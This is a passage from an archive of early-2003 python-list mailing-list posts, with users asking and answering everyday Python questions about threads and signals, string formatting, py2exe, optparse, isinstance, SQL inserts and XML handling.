    38) SIGRTMIN+6  39) SIGRTMIN+7  40) SIGRTMIN+8  41) SIGRTMIN+9
    42) SIGRTMIN+10 43) SIGRTMIN+11 44) SIGRTMIN+12 45) SIGRTMIN+13
    46) SIGRTMIN+14 47) SIGRTMIN+15 48) SIGRTMAX-15 49) SIGRTMAX-14
    50) SIGRTMAX-13 51) SIGRTMAX-12 52) SIGRTMAX-11 53) SIGRTMAX-10
    54) SIGRTMAX-9  55) SIGRTMAX-8  56) SIGRTMAX-7  57) SIGRTMAX-6
    58) SIGRTMAX-5  59) SIGRTMAX-4  60) SIGRTMAX-3  61) SIGRTMAX-2

Pick one of the unused ones from the above (probably from the 33-61 range).

> > A global signal handler then raises an exception in the
> > target thread which gets handled the usual way.
> 
> What if the signal is blocked?

Then you lose.  Normally the interpreter itself would set up the handler.

> > That does leave the target thread able to catch the exception
> > and keep looping.  Even still, it improves on the present situation.
> 
> How do I do that on Windows? On HP-UX? On Irix? With Gnu threads?

I don't know.  I expect it's OS specific.  Maybe it can't be done on
every OS.  That's no reason not to do it on the OS's that can support it.



From whisper at oz.net  Tue Jan 21 02:31:24 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 20 Jan 2003 23:31:24 -0800
Subject: Seeking Ultralight p2p app
In-Reply-To: <3e2bc4fe$0$809$4d4ebb8e@news.nl.uu.net>
Message-ID: <GCEDKONBLEFPPADDJCOEMEDBHIAA.whisper@oz.net>

Thanks for the kind offer, but I could write one myself - I was just hoping
to find the one I remembered rather then having to reinvent the wheel.

Anyone else remember this? It's not the one from PythonCard I don't think,
although that one is similar.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Gumuz
> Sent: Monday, January 20, 2003 1:43
> To: python-list at python.org
> Subject: Re: Seeking Ultralight p2p app
>
>
> i can make you one...it's python, anyone can :)
>
>
> "David LeBlanc" <whisper at oz.net> wrote in message
> news:mailman.1043010156.7926.python-list at python.org...
> > I've lost track of an app and can't seem to find it anywhere
> (VoP, yahoo,
> > SF). TBMR, it had a simple tkinter GUI chat interface and one
> communicated
> > to another user (users - like irc?) by entering their IP address(es). It
> > might have been a book sample or a technology demonstrator and not a
> > supported app.
> >
> > Any help appreciated...
> >
> > TIA
> >
> > David LeBlanc
> > Seattle, WA USA
> >
> >
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From rjkuhns at geetel.net  Fri Jan 17 14:22:52 2003
From: rjkuhns at geetel.net (Richard Kuhns)
Date: Fri, 17 Jan 2003 14:22:52 -0500
Subject: iterating in reverse
In-Reply-To: <yyywul3skw6.fsf@adams.patriot.net>
References: <f57664b9.0301161546.37c85159@posting.google.com>
	<3E274D34.8F0C4348@alcyone.com>
	<f57664b9.0301170105.a7d95fa@posting.google.com>
	<x7el7b4qiv.fsf@guru.mired.org>
	<yyywul3skw6.fsf@adams.patriot.net>
Message-ID: <20030117142252.777c9e03.rjkuhns@geetel.net>

On 17 Jan 2003 13:15:21 -0500
Nick Vargish <nav at adams.patriot.net> wrote:

> I just encountered a problem that required reverse iterating to solve,
> and my current solution, though it works, is not so satisfying:
> 
> def commafy(val):
>     """Return val as string with commas every thousandth place."""
>     val = str(val)
>     ret = ''
>     c = 0
>     for i in range(len(val) - 1, -1, -1):
>         if c and not c % 3:
>             ret = ',' + ret
>         ret = val[i] + ret
>         c += 1
>     return ret
> 
> This is one of the few times I just haven't been able to come up with
> an elegant and -- dare I say it -- aesthetically pleasing solution in
> Python. I suspect the lack is my own, not Python's.
> 
> Nick

Here's the one I use:

def comify(number):
    import re
    string, count = re.subn(r'^(-?\d+)(\d\d\d)', r'\1,\2', str(number))
    while count > 0:
        string, count = re.subn(r'^(-?\d+)(\d\d\d)', r'\1,\2', string)
    return string

-- 
Richard Kuhns			rjkuhns at geetel.net




From urba0083 at tc.umn.edu  Sun Jan 12 13:52:38 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Sun, 12 Jan 2003 12:52:38 -0600
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com> <3E207901.7090200@tc.umn.edu> <nbo22vg5uttkt2fbgo2hnndes363k69fa9@4ax.com>
Message-ID: <3E21B976.3060106@tc.umn.edu>

This one I can't help you with.

But what I can tell you is this, which might help you with
your Python EXE problem.

- py2exe does create Python executables. I have used it for this.
- I've successfully compiled Tkinter and wxPython programs with py2exe.
- I've been unable to successfully compile a PyGtk2 program with py2exe.

Basically, py2exe doesn't always work. It depends on which modules
you are importing. Sometimes you can help it by explicitly telling
it which modules to import, but so far, I haven't been able to
do this with my PyGtk2 problem. It looks like all the relevant
modules were imported.

So in otherwords, py2exe works most of the time. But depending
on what you are doing, you may run into some situations where
it won't work.

Bubba wrote:

> Since you guys are so good at this, how about this, I promise I'm
> going to learn this as soon as I get this cleared up, thanks.
> 
> 
> C:\Python22>python setup.py py2exe
> Traceback (most recent call last):
>   File "setup.py", line 7, in ?
>     scripts=["counter.py"],)
>   File "C:\PYTHON22\distutils\core.py", line 101, in setup
>     _setup_distribution = dist = klass(attrs)
>   File "C:\PYTHON22\distutils\dist.py", line 130, in __init__
>     setattr(self, method_name, getattr(self.metadata, method_name))
> AttributeError: DistributionMetadata instance has no attribute
> 'get___doc__'




From bokr at oz.net  Wed Jan 15 20:12:09 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 01:12:09 GMT
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b050t9$vtp$0@216.39.172.122>

On 15 Jan 2003 17:56:06 +0100, martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=) wrote:

>"David Brown" <david at no.westcontrol.spam.com> writes:
>
>> To do a binary search, the file you are searching through must be ordered.
>
>You misunderstand. He does not want to perform a binary search, but a
>search in binary (rather than text) data. I interpreted this as
>meaning that he wants to perform a substring search.
>
I misunderstood the same way ;-) The title "Binary search" didn't primarily
suggest binary data to me.

Regards,
Bengt Richter



From english at spiritone.com  Fri Jan 31 16:58:54 2003
From: english at spiritone.com (Josh English)
Date: Fri, 31 Jan 2003 13:58:54 -0800
Subject: Setting a Global Default for class construction?
Message-ID: <b1erj009ok@enews3.newsguy.com>

Here is the code that I am struggling with in a Python module:

_Thing = "it"

def SetThing(s):
	global _Thing
	_Thing = str(s)

class NewThing:
	def __init__(self,thing=_Thing):
		self.Thing = _Thing

I thought that this would work if I called:

 >>>SetThing('hallo')
 >>>a = NewThing()
 >>>a.Thing
'it'

I would expect a.Thing to return 'hallo', not 'it'. Is this possible to 
do in Python?

Josh English




From m.hadfield at niwa.cri.nz  Fri Jan 31 00:15:44 2003
From: m.hadfield at niwa.cri.nz (Mark Hadfield)
Date: Fri, 31 Jan 2003 18:15:44 +1300
Subject: Tab characters considered harmful (Was: Emacs has eaten my py thon tabs!!!)
References: <mailman.1043972287.2653.python-list@python.org> <s6cpg-av3.ln1@beastie.ix.netcom.com>
Message-ID: <b1d0q2$kh5$1@newsreader.mailgate.org>

> Two different web sites link "golden syrup" and "treacle" as being
> equivalent.

No, treacle is darker-coloured than golden syrup. In New Zealand, anyway.

--
Mark Hadfield            "Ka puwaha te tai nei, Hoea tatou"
m.hadfield at niwa.co.nz
National Institute for Water and Atmospheric Research (NIWA)





From max at alcyone.com  Tue Jan 21 14:24:22 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 11:24:22 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <3E2D2E46.6060104@mxm.dk> <3e2d31cf$1_1@news.uni-bielefeld.de>
Message-ID: <3E2D9E66.2F6D718@alcyone.com>

Mario Wehbrink wrote:

> Am Die, 21 Jan 2003 schrieb Max M in comp.lang.python:
> 
> > Mario Wehbrink wrote:
> >
> > > [maximum of list of tuples]
> >
> >
> > l = [(1,3,5), (8,16,2), (2,56,4)]
> > print max([(i[-1],i) for i in l])[1]
> >
> >  >>> (1,3,5)
> 
> Nice and elegant! Thanks. Although i don't understand how it works :-/

I'm suspecting if you don't understand how it works then it can't really
be too elegant :-).

The code sample constructs an enumeration of the tuples with their third
(last) element, relies on default sorting of lists (and tuples) to sort
by the first element first, picks the maximum element of that
enumeration, and then extracts the tuple associated with it.

It works, and it's arguably the right way to do it, but "elegant" isn't
the word I'd associate with it.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The doors of Heaven and Hell are adjacent and identical.
\__/ Nikos Kazantzakis
    Official Omega page / http://www.alcyone.com/max/projects/omega/
 The official distribution page for the popular Roguelike, Omega.



From franck.lepoutre at caramail.com  Thu Jan 16 03:19:28 2003
From: franck.lepoutre at caramail.com (francois lepoutre)
Date: Thu, 16 Jan 2003 09:19:28 +0100
Subject: Python as a base for an Open Source Foxpro
References: <5c07cc6.0301151206.455286ac@posting.google.com>
Message-ID: <3e26633a$0$5626$79c14f64@nan-newsreader-01.noos.net>

Hi Paul

I am one of those who haved developped skills in
both python and foxpro (vfp to name it).

I use vfp 6/7 for c/s stuff with UI "? la visual basic"
and python for web development share your views
concerning the many similarities between vfp and
python :
    - nice clean and highly productive interpreters,
    - products have a sizable user communities
    with independant, and open views on
    software development.

I am very enthusiastic about your idea :)

As i'm sure you are aware of, the original
foxpro 2.x dbase-clone has evolved into vfp,
a visual integrated development tool
with a wide functional scope
(version 3.x and above) including
both local and cs data-source management
and a full set of data-driven widgets.

Do you intend to develop a foxpro 2-like
or a whole visual toolset "? la vfp" based on
qt or wxpython/wxwindows as an ui-layer?

That would be great but potentially a lot of work...

Fran?ois






From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 23:29:59 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 20:29:59 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de> <b0ss8g$20c$05$2@news.t-online.com>
Message-ID: <7xsmvhq2bc.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> > so, what about a new PEP : extend the exec method by limiting
> > the execution time and memory usage ...
> 
> That PEP would have to come with a suggested implementation strategy.

Neither seems terribly difficult; just have the interpreter keep track
of how much time and memory have been consumed.  CPU time may be hard
to measure on a per-thread basis, but certainly it can count byte
codes executed, which should be enough for the purpose.




From goodger at python.org  Wed Jan 22 22:11:03 2003
From: goodger at python.org (David Goodger)
Date: Thu, 23 Jan 2003 03:11:03 GMT
Subject: Interleaved commands and options with optparse?
In-Reply-To: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>
Message-ID: <BA54C839.2F3FE%goodger@python.org>

Magnus Lie Hetland wrote:
> Now... I'd like to interleave "commands" (i.e. simple arguments) with
> my options, as in, e.g., cvs (or distutils, for that matter). For
> example:
> 
>    python myscript.py --globaloption command --commandoption
> 
> I'd like the semantics of the options to depend on where they are
> placed, e.g. before or after a command etc. (I might have global and
> command-specific switches with the same single-letter abbreviation but
> with different meanings -- as in cvs.)

Set up an OptionParser instance for the global options, and be sure to set
the allow_interspersed_args attribute to 0/False.  Then parse your arglist.
The global options will be parsed, and the first item of the remaining
arglist will be your subcommand.  Set up a new OptionParser instance for
that subcommand, and parse the remainder of the command line.

There's no magic trick to it, just straightforward processing.

-- 
David Goodger    http://starship.python.net/~goodger    Projects:
  * Python Docutils: http://docutils.sourceforge.net/
    (includes reStructuredText: http://docutils.sf.net/rst.html)
  * The Go Tools Project: http://gotools.sourceforge.net/




From op73418 at mail.telepac.pt  Sat Jan 18 13:10:22 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Sat, 18 Jan 2003 18:10:22 +0000
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com>
Message-ID: <ku5j2vooq6tnh2s6j0be8elqit3lo61lq5@4ax.com>

On 18 Jan 2003 08:50:25 -0800, mis6 at pitt.edu (Michele Simionato) wrote:

>There are inconsistencies in "isinstance".
>
>Example 1:
>
>>>> isinstance(int,object)
>1
>
>gives no error message. I don't like it, an error should be
>raised. There is issubclass for that job:
>
>>>> issubclass(int,object)
>1
>

I think you are wrong here. *Every* builtin object, types included, are
instances of object. In another way, everything (builtin) in Python is
an object in the two meanings of the word.

With my best regards,
G. Rodrigues



From tebeka at cs.bgu.ac.il  Sun Jan  5 09:58:20 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 5 Jan 2003 06:58:20 -0800
Subject: Displaying and Inputting Japanese
References: <b6c0a2c6.0301031601.cb5a80f@posting.google.com>
Message-ID: <33803989.0301050658.34132dfe@posting.google.com>

Hello Ari,
> I'm using Python 2.2 for Windows XP and the IDLE GUI. I'm trying to
> write a program to read and write Japanese characters. I am using the
> Windows IME. Whenever I try to type Japanese, the Japanese appears
> only as ? characters. I downloaded and installed the Japanese codecs,
> but I have no idea how to use them. What needs to be done? Any advice
> would be greatly appreciated.

Try adding:
[EditorWindow]
font-name = <Japaneses-supporting-font>

to your ~/.idle

Since you might not have a ~ directory on XP you can do the no-no thingie and
change c:\python22\lib\tools\idle\config-win.txt directly.

HTH.
Miki



From gminick at hacker.pl  Sat Jan 18 05:40:31 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Sat, 18 Jan 2003 10:40:31 +0000 (UTC)
Subject: problem with the if statement and elif
References: <20030118022516.11673.00000074@mb-ce.aol.com>
Message-ID: <b0bauv$kcq$1@news.tpi.pl>

Dnia 18 Jan 2003 07:25:16 GMT, CIouded 0ne napisa?(a):
> hey i have a question i look at the tutorials that come for download with the
> python interpreter and whatnot and i can never get the if and elif to work for?
You should read what's true/false in python:
      <http://www.python.org/doc/current/lib/truth.html>
about boolean operations:
      <http://www.python.org/doc/current/lib/boolean.html>
and about comparisions:
      <http://www.python.org/doc/current/lib/comparisons.html>
it's a key to understand how if/elif/else construct works in python.

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From a.clarke11 at ntlworld.com  Wed Jan  1 11:10:34 2003
From: a.clarke11 at ntlworld.com (Tony Clarke)
Date: 1 Jan 2003 08:10:34 -0800
Subject: compare types?
References: <20021231000325.15f925c6.Ken@perfect-image.com>	<001301c2b09c$c51bb7b0$21795418@dell1700> <mailman.1041320765.10859.python-list@python.org>
Message-ID: <3353cd1e.0301010810.13521eb3@posting.google.com>

Kenneth Godee <Ken at perfect-image.com> wrote in message news:<mailman.1041320765.10859.python-list at python.org>...
> Brian,
> Thanks for your quick reply.
> I had read the "isinstance" docs, just didn't understand it.
> You put me on the right track, had to make
> a few adjustments to get it to work....
> 
> if isinstance(item, DateTime.DateTimeType):
> 
> Thanks,
> Ken
> 
Hi, 
does anyone know if it is possible to use isinstance() to recognise a list?
Tony



From smulloni at smullyan.org  Thu Jan 23 11:28:59 2003
From: smulloni at smullyan.org (Jacob Smullyan)
Date: 23 Jan 2003 11:28:59 -0500
Subject: Sound programming: Tone production in Python?
References: <mailman.1043268167.29013.python-list@python.org>
Message-ID: <slrnb3062b.p8t.smulloni@bracknell.smullyan.org>

In article <mailman.1043268167.29013.python-list at python.org>, 
Joseph Blaylock wrote:
> So: can anybody tell me a sure-fire way to generate tones from Python?  Bonus
> points for sticking to packages that are in Debian unstable, or part of the
> basic distribution.  And further, can anybody provide me pointers to more
> generalized sound/music programming resources for Python, especially of a
> tutorial nature?

I suggest looking at software synthesis packages like csound
(csounds.com) and in particular these projects, in no particular
order:

* the csound variant icsound, which has a python extension
  (http://leporello.agnula.org/~maurizio/icsound/)
* pythonsound (http://pythonsound.sf.net)
* athenaCL (http://www.flexatone.com/athena.html)
* pysco (http://www.slinkp.com/code)

Hope that helps.

Jacob Smullyan



From mcfletch at rogers.com  Thu Jan 16 14:16:28 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Thu, 16 Jan 2003 14:16:28 -0500
Subject: String Problem, What is it I don't understand?
In-Reply-To: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>
References: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>
Message-ID: <3E27050C.1010908@rogers.com>

Slices use absolute indices for both start and stop, not start, length 
indices:

    xxx[3:5] # between positions 3 and 5
and
    xxx[6:8] # between positions 6 and 8
    xxx[6:] # between 6 and end of string
    xxx[:2] # between start-of-string (0) and position 2
    xxx[:-2] # between start-of-string and negative position 2 (2 from end)

while:

    xxx[3:2] # between positions 3 and 2 (nothing)

HTH,
Mike

Bubba wrote:

>I would expect to get the month day and year from the following, but
>day and year are null
>
>xxx = "01/17/03"
>month = xxx[0:2]
>print "month=",month
>day = xxx[3:2]
>print "day=",day
>year = xxx[6:2]
>print "year=",year
>
>Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on
>win32
>Type "copyright", "credits" or "license" for more information.
>IDLE 0.8 -- press F1 for help
>  
>
>month= 01
>day= 
>year=
>  
>

-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From logiplexsoftware at earthlink.net  Thu Jan  9 14:50:20 2003
From: logiplexsoftware at earthlink.net (Cliff Wells)
Date: Thu, 09 Jan 2003 19:50:20 GMT
Subject: Mail <-> News gateway not working?
Message-ID: <pan.2003.01.09.19.51.34.266713@earthlink.net>

I haven't seen anything I've posted all morning (via the mail list), and
my ego is starting to shrivel.

Regards,

Cliff



From tundra at tundraware.com  Fri Jan  3 16:10:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 03 Jan 2003 21:10:07 GMT
Subject: Getopt: Using Environment Var To Override
Message-ID: <ept4va.sa2.ln@boundary.tundraware.com>

I currently use getopt to process my command line args.  Is there some
standard/easy/idiomatic/Pythonic way to supplement this with an environment
variable?  I want the user to be able set options one of several ways:

          1) Do nothing, accept program defaults.
          2) Override program defaults with an environment variable
             which contains desired defaults.
          3) Override both program and env var defaults with command
             line arguments.

1) and 3) are in place today.  I'd like to add 2) without having to manually
parse the environment string myself.  I guess what I'm asking is where there
is a way to feed getopt the contents of an environment variable after
it has processed the command line?
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From cout at netvigator.com  Thu Jan 16 07:56:07 2003
From: cout at netvigator.com (cout)
Date: Thu, 16 Jan 2003 20:56:07 +0800
Subject: help !! commands.getstatusoutput
Message-ID: <b069t0$l6p4@imsp212.netvigator.com>

Help
I'm running a shell program using commands.getstatusoutput(myShellScripts),
myShellScripts takes few minutes to finish a job. Is there anyway to
monitor the output while myShellScripts is being executing?





From jack at performancedrivers.com  Thu Jan 16 12:54:38 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Thu, 16 Jan 2003 12:54:38 -0500
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com>; from dave@pythonapocrypha.com on Thu, Jan 16, 2003 at 09:39:02AM -0800
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com>
Message-ID: <20030116125438.F13035@localhost.localdomain>

On Thu, Jan 16, 2003 at 09:39:02AM -0800, Dave Brueck wrote:
> On Thu, 16 Jan 2003, Sean 'Shaleh' Perry wrote:
> 
> > On Thursday 16 January 2003 07:24, A. Lloyd Flanagan wrote:
> > > Jack Diederich <jack at performancedrivers.com> wrote in message
> > > news:<mailman.1042672181.22990.python-list at python.org>...
> > >
> > > > using a list comprehension or zip().  Comprehensions always
> > > > hurt readability (ALWAYS), and we don't need the speedup
> > > > here so we do it explicitly.
> > >
> > > Personally, I find list comprehensions to be both very readable and
> > > compact.  Maybe it's a matter of how familiar you are with them.
> [snip example]
> 
> > > after all, a list comprehension is less general than a for-loop, so
> > > you know more about what it does before you read it.
> >
> > comprehensions are hard on the reader until they start using them.  I am in
> > the archives of this and -tutor stating my disklike for them for this reason.
[snip]
> 
> [x for x in S if x > 5]
> 
> always makes far more sense to me than:
> 
> filter(lambda x: x>5, S)
> 
> for various reasons, including the fact "for x in S", "if x > 5", and
> "[...stuff...]" all mean something to me already whereas filter(someArg1,
> someArg2) does not, and lambda requires me to think more. :)
> 
> FWIW, I found simple list comprehensions to be one of the least taxing
> Pythonisms to get used to - IMO the syntax maps very obviously to the
> behavior.

TMTOWTDI aside, I find filter and map much easier to pick out when reading
through code.

l = map(modify_func, l)
       ^
# I can stop reading at ^, we're modifying the items in the list

l = filter(test_func, l)
          ^
# I can stop reading at ^, we're reducing the size of the list

l = [x for x in l if x > 5]
                  ^^^^^^^^^

The actual action is hidden at the end, we're doing a filter()

Less of a good reason, but map() and filter() exist in other languages
so they are more broadly recognizable even to newbies.
               
-jackdied




From logistix at zworg.com  Wed Jan 29 21:56:40 2003
From: logistix at zworg.com (logistix)
Date: 29 Jan 2003 18:56:40 -0800
Subject: [win32all]: Problem With Win98
References: <brp91b.9g02.ln@boundary.tundraware.com>
Message-ID: <bdb5b58f.0301291856.4c4ae30b@posting.google.com>

Tim Daneliuk <tundra at tundraware.com> wrote in message news:<brp91b.9g02.ln at boundary.tundraware.com>...
> The following call works fine when applied to a Win 2000 machine, but
> fails as shown when applied to a Win 98 machine.  I realize that there
> is a world of difference between older and newer Win implementations
> viz security, but I would have thought the API would hide these differences.
> 
> Anyone have any ideas on what the problem might be here (M: is a
> Win98 shared disk space - command was issued from a PythonWin
> session running on a Win 2000 machine):
> 
> 
>  >>> GetFileSecurity("M:\\autoexec.bat", OWNER_SECURITY_INFORMATION)
> Traceback (most recent call last):
>    File "<interactive input>", line 1, in ?
> MemoryError: allocating SECURITY_DESCRIPTOR
> 
> 

Win95,98,ME use the FAT32 filesystem.  This has absolutely no ACL or
permission capabilities on it.  Win NT, 2K, XP use NTFS by default,
which allows ACLS.



From jwsacksteder at ramprecision.com  Wed Jan 22 11:23:51 2003
From: jwsacksteder at ramprecision.com (Jeff Sacksteder)
Date: Wed, 22 Jan 2003 11:23:51 -0500
Subject: SQL null conversion
Message-ID: <71650A6F73F1D411BE8000805F65E3CB3B3003@SRV-03>

I am moving/converting data from a production system to a data warehouse
using python for the data transformation. I iterate through the result list
building sql strings to do the inserts that then get sent to the destination
connection. Occasionally I hit a row where a feild is null, returning
'None'. When I try to build a string containing 'None' I get an exception.
What would be the best way to convert that to an empty string in the general
case? 

---snippet---

source_extract = "select foo,bar,baz from datatable"
source.execute(source_extract)
result_set = source.fetchall()

for row in result_set:
	# in reality, each feild here is being cleaned up in various ways-
not shown for clarity
	insert_string = "insert into dest values (' " + row[0] + " ',' " +
row[1] +" ',' " + row[3] +" ')"
	dest.execute(insert_string)




From tjreedy at udel.edu  Fri Jan 24 22:11:08 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Jan 2003 22:11:08 -0500
Subject: Sandboxing [Was Re: killing thread ?]
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com> <20030124174424.GA15614@meson.dyndns.org> <mailman.1043432149.5693.python-list@python.org> <JpGdnVkyFJjvUayjXTWcqA@comcast.com> <7xn0lq3v0b.fsf@ruckus.brouhaha.com>
Message-ID: <A4Odnf8uD-PKn6-jXTWc2Q@comcast.com>

"Paul Rubin" <phr-n2003b at NOSPAMnightsong.com> wrote in message
news:7xn0lq3v0b.fsf at ruckus.brouhaha.com...
> Recursion depth is already limited.

I was thinking of something more limited, like
sys.setrecursionlimit(10), instead of the current default of 1000 (on
my box).

TJR





From abelikov72 at hotmail.com  Sat Jan 18 09:20:16 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sat, 18 Jan 2003 14:20:16 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de>
Message-ID: <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com>

On 18 Jan 2003 12:55:08 +0100, martin at v.loewis.de (Martin v. L?wis)
wrote:

>Afanasiy <abelikov72 at hotmail.com> writes:
>
>> How is it expected I create overloaded methods/functions in the C API?
>
>This is not possible. Overloading of methods is not supported in Python.

Is method/function overloading common in Python modules?
Is it looked down upon?



From sketerpot at chase3000.com  Wed Jan 15 19:52:46 2003
From: sketerpot at chase3000.com (Peter Scott)
Date: Wed, 15 Jan 2003 17:52:46 -0700
Subject: Ignoring incorrect XML encoding declarations
In-Reply-To: <1MmV9.2980$qU2.1566@news1.central.cox.net>
References: <b04roj$lif9o$1@ID-174764.news.dfncis.de> <1MmV9.2980$qU2.1566@news1.central.cox.net>
Message-ID: <b04vh3$luh0p$1@ID-174764.news.dfncis.de>

 > .replace('UTF-16','UTF-8')
 > then let SAX at it..
Forgive my newbiehood, but is it possible to wrap a string in a 
file-like object? I'm passing a file to the parser, wrapped in an 
InputSource object, and I don't think that you can do .replace on files.

-Peter




From rrichardson at eti-main.enabletech.com  Tue Jan 14 14:15:20 2003
From: rrichardson at eti-main.enabletech.com (Rick Richardson)
Date: Tue, 14 Jan 2003 11:15:20 -0800
Subject: Automating Web Interfaces with Python
Message-ID: <A7E67E8DB535D411ADC8009027F6449B496389@ETI-MAIN>

I assume by automate you mean create html forms that automagically post to
automagically generated receivers given some database or XML scheme. I'd
recommed XSLT for something like this. Python can manage the html file
generation/management processes for you quite easily.

Also if you're not stuck on JSP there is Zope, which many enjoy but I've
never used. 
Another option, Twisted has created a really neat Widget/Gadget template
Model/View/Controller based web devel/deployment system. I have used that
one and I must say it's the first thing that's ever made web development fun
:)

I never did get into JSP much, most (free) systems were too hard to
configure and the servlet/bean/jsp 
system was cool but just didn't feel right to me. But some people swear by
it, so hey. 

g'luck,

Rick

-----Original Message-----
From: python-list-admin at python.org
[mailto:python-list-admin at python.org]On Behalf Of Christian Reyes
Sent: Tuesday, January 14, 2003 11:07 AM
To: python-list at python.org
Subject: Automating Web Interfaces with Python


Hi,
I'm doing some research into Python's ability to automate web interfaces.
Specifically through jsp's.
Not sure where to start on this though,
If anyone could provide some useful links to the subject that would be
fantastic

Christian


-- 
http://mail.python.org/mailman/listinfo/python-list




From thanos at 0x01.com  Wed Jan 15 15:12:01 2003
From: thanos at 0x01.com (thanos vassilakis)
Date: 15 Jan 2003 12:12:01 -0800
Subject: How-To install and use PSO services under Windows NT/2000/XP
Message-ID: <1f995ef7.0301151212.4555362f@posting.google.com>

A new document by Vadim Shaykevich showing how to
install and use PSO services under Windows NT/2000/XP

http://sourceforge.net/docman/display_doc.php?docid=14746&group_id=49265



From nthomas at cise.ufl.edu  Tue Jan 14 17:25:57 2003
From: nthomas at cise.ufl.edu (N. Thomas)
Date: Tue, 14 Jan 2003 22:25:57 +0000 (UTC)
Subject: XML vs Python?
Message-ID: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu>

...or rather "XML's data structures vs Python's data structures"

So I prototyped a program that keeps its data stored in an XML document,
via PyXML's DOM API. Whenever I want to view/add/remove/change data, I
traverse along the XML nodes, and do what I want with it. It took a
while to get used to DOM, but after a bit, I got the hang of it.

[time goes by]

I then realized that I could have instead stored my data in a Python
data structure (nested lists, dictionaries, etc.), and have some
function (i.e. p2xml() and xml2p()) that would convert to and from XML.

Ultimately, the data will be saved in XML format, but it would be much
easier to traverse/manipulate in my program.

Are there any issues that I should be aware of regarding this? I mean,
are there situations where is it better to save one's data in XML
internally as opposed to using the language's native structures, and
exporting to/from XML?

thanks,
thomas

-- 
N. Thomas
nthomas at cise.ufl.edu
Etiamsi occiderit me, in ipso sperabo



From raims at dot.com  Mon Jan 27 19:31:23 2003
From: raims at dot.com (Rhymes)
Date: Tue, 28 Jan 2003 01:31:23 +0100
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <mailman.1043682230.10653.python-list@python.org>
Message-ID: <pan.2003.01.28.00.31.22.615165@dot.com>

On Mon, 27 Jan 2003 10:40:49 -0500, Jeff Kowalczyk wrote:

> This is a great project! Seems like the next best thing to a Python CLI
> runtime...

Look at Mark Hammond's .NET related project

http://starship.python.net/crew/mhammond/dotnet/


-- 
Rhymes
rhymes at NOSPAMmyself.com





From p-abel at t-online.de  Tue Jan 14 02:40:18 2003
From: p-abel at t-online.de (Peter Abel)
Date: 13 Jan 2003 23:40:18 -0800
Subject: fast way of turning a list of integers<256 into a string
References: <f57664b9.0301131444.26ca3b43@posting.google.com>
Message-ID: <13a533e8.0301132340.5e56a28a@posting.google.com>

jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301131444.26ca3b43 at posting.google.com>...
> s=''
> for i in range(1,255):
